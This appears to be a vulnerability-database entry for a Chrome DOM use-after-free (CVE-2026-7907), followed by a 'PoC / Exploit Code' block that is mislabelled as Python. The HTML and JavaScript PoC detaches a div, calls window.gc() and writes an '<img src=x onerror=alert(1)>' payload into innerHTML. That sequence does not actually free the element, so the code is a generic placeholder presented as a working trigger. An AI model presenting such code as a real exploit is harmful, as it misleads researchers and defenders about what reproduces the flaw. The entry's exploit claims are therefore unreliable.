Use after free in DOM in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7907
This HTML page demonstrates a potential trigger for the Use-After-Free vulnerability in Chrome's DOM.
Note: Actual exploitation requires specific memory layout and heap grooming.
-->
<html>
<head>
<title>CVE-2026-7907 PoC</title>
</head>
<body>
<script>
// Create a DOM element
let vulnObj = document.createElement('div');
document.body.appendChild(vulnObj);
// Function to simulate the UAF trigger
function triggerUAF() {
// Step 1: Remove the object (potential free)
document.body.removeChild(vulnObj);
// Step 2: Force garbage collection (implementation dependent)
if (window.gc) {
window.gc();
}
// Step 3: Attempt to access/use the freed object
// This may cause a crash or lead to code execution if memory is controlled
try {
vulnObj.innerHTML = "<img src=x onerror=alert(1)>";
} catch (e) {
console.log("Exception caught: " + e.message);
}
}
// Trigger the vulnerability after a short delay
setTimeout(triggerUAF, 1000);
</script>
<p>CVE-2026-7907 Proof of Concept. Check console for output.</p>
</body>
</html>